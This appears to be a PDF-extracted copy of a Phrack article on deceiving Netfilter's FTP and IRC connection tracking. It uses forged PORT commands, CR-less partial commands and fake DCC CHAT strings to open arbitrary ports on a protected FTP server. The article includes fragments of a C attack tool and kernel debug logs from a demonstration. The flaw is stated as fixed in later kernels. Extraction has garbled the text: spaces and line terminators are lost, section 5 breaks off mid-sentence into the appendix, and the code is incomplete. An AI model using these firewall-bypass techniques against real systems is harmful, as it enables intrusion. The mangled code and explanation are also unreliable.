p63 0x13 breaking through a firewall by kotkrye

8/3/2019 p63 0x13 Breaking Through a Firewall by Kotkrye

1/15

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14

=------=[ Breaking through a Firewall using a forged FTP command ]=-----==-----------------------------------------------------------------------=

=-------------=[ Soungjoo Han ]=------------------=

Table of Contents

1 - Introduction2 - FTP, IRC and the stateful inspection of Netfilter3 - Attack Scenario I3.1 - First Trick3.2 - First Trick Details

4 - Attack Scenario II - Non-standard command line4.1 - Second Trick Details

5 - Attack Scenario III - 'echo' feature of FTP reply5.1 - Passive FTP: background information5.2 - Third Trick Details

6 - APPENDIX I. A demonstration tool of the second trick7 - APPENDIX II. A demonstration example of the second attack trick.

--[ 1 - Introduction

FTP is a protocol that uses two connections. One of them is called acontrol connection and the other, a data connection. FTP commands andreplies are exchanged across the control connection that lasts during anFTP session. On the other hand, a file(or a list of files) is sent across

the data connection, which is newly established each time a file istransferred.

Most firewalls do not usually allow any connections except FTP controlconnections to an FTP server port(TCP port 21 by default) for networksecurity. However, as long as a file is transferred, they accept the dataconnection temporarily. To do this, a firewall tracks the controlconnection state and detects the command related to file transfer. This iscalled stateful inspection.

I've created three attack tricks that make a firewall allow an illegalconnection by deceiving its connection tracking using a forged FTP command.

I actually tested them in Netfilter/IPTables, which is a firewallinstalled by default in the Linux kernel 2.4 and 2.6. I confirmed the firsttrick worked in the Linux kernel 2.4.18 and the second one(a variant of thefirst one) worked well in the Linux 2.4.28(a recent version of the Linuxkernel).

This vulnerability was already reported to the Netfilter project teamand they fixed it in the Linux kernel 2.6.11.

--[ 2 - FTP, IRC and the stateful inspection of Netfilter

First, let's examine FTP, IRC(You will later know why IRC is mentioned)and the stateful inspection of Netfilter. If you are a master of them, youcan skip this chapter.


2/15

As stated before, FTP uses a control connection in order to exchangethe commands and replies(, which are represented in ASCII) and, on thecontrary, uses a data connection for file transfer.

For instance, when you command "ls" or "get " at FTPprompt, the FTP server(in active mode) actively initiates a data connection

to a TCP port number(called a data port) on the FTP client, your host. Theclient, in advance, sends the data port number using a PORT command, one ofFTP commands.

The format of a PORT command is as follows.

PORTh1,h2,h3,h4,p1,p2

Here the character string "h1,h2,h3,h4" means the dotted-decimal IP"h1.h2.h3.h4" which belongs to the client. And the string "p1,p2" indicatesa data port number(= p1 * 256 + p2). Each field of the address and portnumber is in decimal number. A data port is dynamically assigned by a

client. In addition, the commands and replies end with charactersequence.

Netfilter tracks an FTP control connection and gets the TCP sequencenumber and the data length of a packet containing an FTP command line(which ends with ). And then it computes the sequence number of thenext command packet based on the information. When a packet with thesequence number is arrived, Netfilter analyzes whether the data of thepacket contains an FTP command. If the head of the data is the same as"PORT" and the data ends with , then Netfilter considers it as avalid PORT command (the actual codes are a bit more complicated) andextracts an IP address and a port number from it. Afterwards, Netfilter"expects" the server to actively initiate a data connection to the

specified port number on the client. When the data connection request isactually arrived, it accepts the connection only while it is established.In the case of an incomplete command which is called a "partial" command,it is dropped for an accurate tracking.

IRC (Internet Relay Chat) is an Internet chatting protocol. An IRCclient can use a direct connection in order to speak with another client.When a client logs on the server, he/she connects to an IRC server(TCP port 6667 by default). On the other hand, when the client wants tocommunicate with another, he/she establishes a direct connection to thepeer. To do this, the client sends a message called a DCC CHAT command inadvance. The command is analogous to an FTP PORT command. And Netfiltertracks IRC connections as well. It expects and accepts a direct chattingconnection.

--[ 3 - Attack Scenario I

----[ 3.1 - First Trick

I have created a way to connect illegally to any TCP port on an FTPserver that Netfilter protects by deceiving the connection-tracking modulein the Linux kernel 2.4.18.

In most cases, IPTables administrators make stateful packet filtering

rule(s) in order to accept some Internet services such as IRC directchatting and FTP file transfer. To do this, the administrators usuallyinsert the following rule into the IPTables rule list.


3/15

iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT

Suppose that a malicious user who logged on the FTP server transmits aPORT command with TCP port number 6667(this is a default IRC server portnumber) on the external network and then attempts to download a file fromthe server.

The FTP server actively initiates a data connection to the data port6667 on the attacker's host. The firewall accepts this connection under thestateful packet filtering rule stated before. Once the connection isestablished, the connection-tracking module of the firewall(in the Linuxkernel 2.4.18) has the security flaw to mistake this for an IRC connection.Thus the attacker's host can pretend to be an IRC server.

If the attacker downloads a file comprised of a string that has thesame pattern as DCC CHAT command, the connection-tracking module willmisunderstand the contents of a packet for the file transfer as a DCC CHATcommand.

As a result, the firewall allows any host to connect to the TCP portnumber, which is specified in the fake DCC CHAT command, on the fake IRCclient (i.e., the FTP server) according to the rule to accept the "related"connection for IRC. For this, the attacker has to upload the file beforethe intrusion.

In conclusion, the attacker is able to illegally connect to any TCPport on the FTP server.

----[ 3.2 - First Trick Details

To describe this in detail, let's assume a network configuration is asfollows.

(a) A Netfilter/IPtables box protects an FTP server in a network. So usersin the external network can connect only to FTP server port on the FTPserver. Permitted users can log on the server and download/upload

files.

(b) Users in the protected network, including FTP server host, can connectonly to IRC servers in the external network.

(c) While one of the internet services stated in (a) and (b) isestablished, the secondary connections(e.g., FTP data connection)related to the service can be accepted temporarily.

(d) Any other connections are blocked.

To implement stateful inspection for IRC and FTP, the administratorloads the IP connection tracking modules called ip_conntrack into thefirewall including ip_conntrack_ftp and ip_conntrack_irc that track FTP andIRC, respectively. Ipt_state must be also loaded.

Under the circumstances, an attacker can easily create a program thatlogs on the FTP server and then makes the server actively initiate an FTPdata connection to an arbitrary TCP port on his/her host.

Suppose that he/she transmits a PORT command with data port 6667 (i.e.,default IRC server port).


4/15

An example is "PORT 192,168,100,100,26,11\r\n".

The module ip_conntrack_ftp tracking this connection analyzes the PORTcommand and "expects" the FTP server to issue an active open to thespecified port on the attacker's host.

Afterwards, the attacker sends an FTP command to download a file,"RETR ". The server tries to connect to port 6667 on theattacker's host. Netfilter accepts the FTP data connection under thestateful packet filtering rule.

Once the connection is established, the module ip_conntrack mistakesthis for IRC connection. Ip_conntrack regards the FTP server as an IRCclient and the attacker's host as an IRC server. If the fake IRC client(i.e., the FTP server) transmits packets for the FTP data connection, themodule ip_conntrack_irc will try to find a DCC protocol message from thepackets.

The attacker can make the FTP server send the fake DCC CHAT commandusing the following trick. Before this intrusion, the attacker uploads afile comprised of a string that has the same pattern as a DCC CHAT commandin advance.

To my knowledge, the form of a DCC CHAT command is as follows.

"\1DCCCHATt\1\n"

An example is "\1DCC CHAT t 3232236548 8000\1\n"

In this case, Netfilter allows any host to do an active open to the TCP

port number on the IRC client specified in the line. The attacker can, ofcourse, arbitrarily specify the TCP port number in the fake DCC CHATcommand message.

If a packet of this type is passed through the firewall, the moduleip_conntrack_irc mistakes this message for a DCC CHAT command and "expects"any host to issue an active open to the specified TCP port number on theFTP server for a direct chatting.

As a result, Netfilter allows the attacker to connect to the portnumber on the FTP server according to the stateful inspection rule.

After all, the attacker can illegally connect to any TCP port on theFTP server using this trick.

--[ 4 - Attack Scenario II - Non-standard command line

----[ 4.1. Second Trick Details

Netfilter in the Linux kernel 2.4.20(and the later versions) is sofixed that a secondary connection(e.g., an FTP data connection) accepted bya primary connection is not mistaken for that of any other protocol. Thusthe packet contents of an FTP data connection are not parsed any more bythe IRC connection-tracking module.

However, I've created a way to connect illegally to any TCP port on anFTP server that Netfilter protects by dodging connection tracking using a


5/15

nonstandard FTP command. As stated before, I confirmed that it worked inthe Linux kernel 2.4.28.

Under the circumstances stated in the previous chapter, a malicioususer in the external network can easily create a program that logs on theFTP server and transmits a nonstandard FTP command line.

For instance, an attacker can transmit a PORT command without thecharacter in the end of the line. The command line has only inthe end.

An example is "PORT 192,168,100,100,26,11\n".

On the contrary, a standard FTP command has sequence to denotethe end of a line.

If the module ip_conntrack_ftp receives a nonstandard PORT command ofthis type, it first detects a command and finds the character for theparsing. Because it cannot be found, ip_conntrack_ftp regards this as a

"partial" command and drops the packet.

Just before this action, ip_conntrack_ftp anticipated the sequencenumber of a packet that contains the next FTP command line and updated theassociated information. This number is calculated based on the TCP sequencenumber and the data length of the "partial" PORT command packet.

However, a TCP client, afterwards, usually retransmits the identicalPORT command packet since the corresponding reply is not arrived at theclient. In this case, ip_conntrack_ftp does NOT consider this retransmittedpacket as an FTP command because its sequence number is different from thatof the next FTP command anticipated. From the point of view ofip_conntrack_ftp, the packet has a "wrong" sequence number position.

The module ip_conntrack_ftp just accepts the packet without analyzingthis command. The FTP server can eventually receive the retransmittedpacket from the attacker.

Although ip_conntrack_ftp regards this "partial" command as INVALID,some FTP servers such as wu-FTP and IIS FTP conversely consider this PORTcommand without as VALID. In conclusion, the firewall, in this case,fails to "expect" the FTP data connection.

And when the attacker sends a RETR command to download a file from theserver, the server initiates to connect to the TCP port number, specifiedin the partial PORT command, on the attacker's host.

Suppose that the TCP port number is 6667(IRC server port), the firewallaccepts this connection under the stateless packet filtering rule thatallows IRC connections instead of the stateful filtering rule. So the IPconnection-tracking module mistakes the connection for IRC.

The next steps of the attack are the same as those of the trick statedin the previous chapter.

In conclusion, the attacker is able to illegally connect to any TCPport on the FTP server that the Netfilter firewall box protects.

*[supplement] There is a more refined method to dodge theconnection-tracking of Netfilter. It uses default data port. On conditionthat data port is not specified by a PORT command and a data connection is


6/15

required to be established, an FTP server does an active open from port 20on the server to the same (a client's) port number that is being used forthe control connection.

To do this, the client has to listen on the local port in advance. Inaddition, he/she must bind the local port to 6667(IRCD) and set the socketoption "SO_REUSEADDR" in order to reuse this port.

Because a PORT command never passes through a Netfilter box, thefirewall can't anticipate the data connection. I confirmed that it workedin the Linux kernel 2.4.20.

** A demonstration tool and an example of this attack are described inAPPENDIX I and APPENDIX II, respectively.

--[ 5 - Attack Scenario III - 'echo' feature of FTP reply

----[ 5.1 - Passive FTP: background information

An FTP server is able to do a passive open for a data connection aswell. This is called passive FTP. On the contrary, FTP that does an activeopen is called active FTP.

Just before file transfer in the passive mode, the client sends a PASVcommand and the server replies the corresponding message with a data portnumber to the client. An example is as follows.

-> PASV\r\n USER \r\n USER Alice Lee\r\n

The FTP server usually replies to it as follows.


7/15

instance, when the same pattern as the reply for passive FTP is inserted init, a part of the reply is arrived like a reply related to passive FTP.

-> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\ngcc -Wall -o fake_irc fake_irc.c

The source code is as follows.

/*USAGE : ./fake_irc

- : An FTP server IP that is a victim- : the target TCP port on the FTP server to which an

attacker wants to connect- : a user name used to log on the FTP server- : a password used to log on the FTP server


8/15

- : a file name to be downloaded from theFTP server*/

#include #include #include

#include #include #include

#define BUF_SIZE 2048#define DATA_BUF_SZ 65536#define IRC_SERVER_PORT 6667#define FTP_SERVER_PORT 21

static void usage(void){printf("USAGE : ./fake_irc "

" "" \n");

return;}

void send_cmd(int fd, char *msg){if(send(fd, msg, strlen(msg), 0) < 0) {perror("send");

exit(0);}

printf("--->%s\n", msg);}

void get_reply(int fd){char read_buffer[BUF_SIZE];int size;

//get the FTP server messageif( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) {perror("recv");

exit(0);}

read_buffer[size] = '\0';

printf("


9/15

argv[0] : a program nameargv[1] : an FTP server IPargv[2] : a target port on the FTP server hostargv[3] : a user nameargv[4] : a passwordargv[5] : a file name to be downloaded*/

int main(int argc, char **argv){int fd, fd2, fd3, fd4;struct sockaddr_in serv_addr, serv_addr2;char send_buffer[BUF_SIZE];char *ftp_server_ip, *user_id, *pwd, *down_file;unsigned short target_port;char data_buf[DATA_BUF_SZ];struct sockaddr_in sa_cli;socklen_t client_len;unsigned int on = 1;unsigned char addr8[4];

int datasize;

if(argc != 6) {usage();return -1;}

ftp_server_ip = argv[1];target_port = atoi(argv[2]);user_id = argv[3];pwd = argv[4];down_file = argv[5];

if((fd = socket(AF_INET, SOCK_STREAM, 0))


10/15

//exchange a SYST command and the replysprintf(send_buffer, "SYST\r\n");cmd_reply_xchg(fd, send_buffer);

sleep(1);

//write a PORT command

datasize = sizeof(serv_addr);

if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) {perror("getsockname");return -1;}

memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8));

sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n",addr8[0], addr8[1], addr8[2], addr8[3],IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256);

cmd_reply_xchg(fd, send_buffer);

//Be a server for an active FTP data connectionif((fd2 = socket(AF_INET, SOCK_STREAM, 0))


11/15

perror("accept");return -1;}

//get the fake DCC commandbzero(data_buf, DATA_BUF_SZ);

if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) {perror("recv");return -1;}puts(data_buf);

///Start of the attackif((fd4= socket(AF_INET, SOCK_STREAM, 0))


12/15

[An attacker's host]-----[A firewall]-----[An FTP server](The network interfaces, eth1 and eth2 of the firewall are directly linkedto the attacker's host and server, respectively.)

As shown in the above figure, packets being transmitted between the FTPclient(i.e., the attacker) and the FTP server pass through the linux boxwith IPTables in the Linux kernel 2.4.28.

The IP addresses assigned in each box are as follows.

(a) The attacker's host : 192.168.3.3(b) eth1 port in the Linux box : 192.168.3.1(c) The FTP server : 192.168.4.4(d) eth2 port in the Linux box : 192.168.4.1

A TCP server is listening on the FTP server's host address and port8000. The server on port 8000 is protected by IPTables. The attacker triedto connect illegally to port 8000 on the FTP server in this demonstration.

The associated records during this attack are written in the followingorder.

(1) The system configurations in the firewall, including the ruleset ofIPTables

(2) Tcpdump outputs on eth1 port of the firewall(3) Tcpdump outputs on eth2 port of the firewall(4) The file /proc/net/ip_conntrack data with the change of times. It shows

the information on connections being tracked.(5) DEBUGP(), printk messages for debug in the source

files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c).For the detailed messages, I activated the macro function DEBUGP() inthe files.

Since some characters of the messages are Korean, they have beendeleted. I am sorry for this.

=====================================================================

(1) The system configurations in the firewall

[root@hans root]# uname -aLinux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown

[root@hans root]# lsmodModule Size Used by Not taintedip_conntrack_irc 5216 0 (unused)ip_conntrack_ftp 6304 0 (unused)ipt_state 1056 1 (autoclean)ip_conntrack 40312 2 (autoclean) [ip_conntrack_ircip_conntrack_ftpipt_state]iptable_filter 2432 1 (autoclean)ip_tables 16992 2 [ipt_state iptable_filter]ext3 64032 3 (autoclean)jbd 44800 3 (autoclean) [ext3]usbcore 48576 0 (unused)

[root@hans root]# iptables -LChain INPUT (policy ACCEPT)


13/15

target prot opt source destination

Chain FORWARD (policy DROP)target prot opt source destinationACCEPT tcp -- 192.168.3.3 192.168.4.4 tcp dpt:ftpACCEPT tcp -- anywhere anywhere tcp dpt:authACCEPT tcp -- 192.168.4.4 192.168.3.3 tcp dpt:ircd

ACCEPT all -- anywhere anywhere stateRELATED,ESTABLISHED

Chain OUTPUT (policy ACCEPT)target prot opt source destination

[root@hans root]# route -nKernel IP routing tableDestination Gateway Genmask Flags Metric Ref Use

Iface192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0eth2192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0eth1192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0eth0127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

=====================================================================

(2) Tcpdump outputs on eth1 port of the firewall

You can see that the "partial" PORT commands were transmitted and anillegal connection to port 8000 was established.

tcpdump -nn -i eth1 -s 0 -X

[ phrack staff: Output removed. Do it on your own. ]

=====================================================================

(3) Tcpdump outputs on eth2 port of the firewall

Only one PORT command w/o is shown on eth2 port since the first onewas dropped.

tcpdump -nn -i eth2 -s 0 -X

[ phrack staff: Output removed. Get skilled. Do it yourself! ]

=====================================================================

(4) The file /proc/net/ip_conntrack data with change of times.

The file /proc/net/ip_conntrack shows the information on connections beingtracked. To that end, I executed the following shell command.

/>watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >>/tmp/ipconn.txt"


14/15

Note : Connections that are not associated with this test are seen fromtime to time. I am sorry for this.

[ phrack staff: Output removed. Use the force luke! ]

=====================================================================

(5) dmesg outputs

->The following paragraph in the message shows that the first PORT commandw/o was regarded as "partial" and thus dropped.

Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23Dec 31 15:03:40 hans kernel: Pattern matches!Dec 31 15:03:40 hans kernel: Skipped up to ` '!Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpectedDec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23

->The following paragraph shows that the second invalid PORT command w/o was accepted because it was regarded as a packet that had a wrongsequence position.(i.e., the packet was not regarded as an FTP command)

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \nDec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos(1273167394)

->The following shows that the connection-tracking module mistook the FTPdata connection for IRC.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:enteredDec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0

->The following shows that ip_conntrack_irc mistook the packet contents ofthe FTP data connection for a DCC CHAT command and "expected" the fakechatting connection.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:enteredDec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master192.168.4.4:20 192.168.3.3:6667...Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT detectedDec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port:192.168.4.4:8000Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote infoseq=1613392874 (ofs=33), len=21Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related0.0.0.0:0-192.168.4.4:8000Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ->

192.168.4.4:8000Dec 31 15:03:40 hans kernel: mask: tuple d6c61da4: 65535 0.0.0.0:0 ->255.255.255.255:65535


15/15

Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0

->The following shows that ip_conntrack, after all, accepted the illegalconnection to port 8000 under the stateful inspection rule.

Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260

exp=d7cf82e0Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260

=[ EOF ]=---------------------------------------------------------------=

p63 0x13 breaking through a firewall by kotkrye

Documents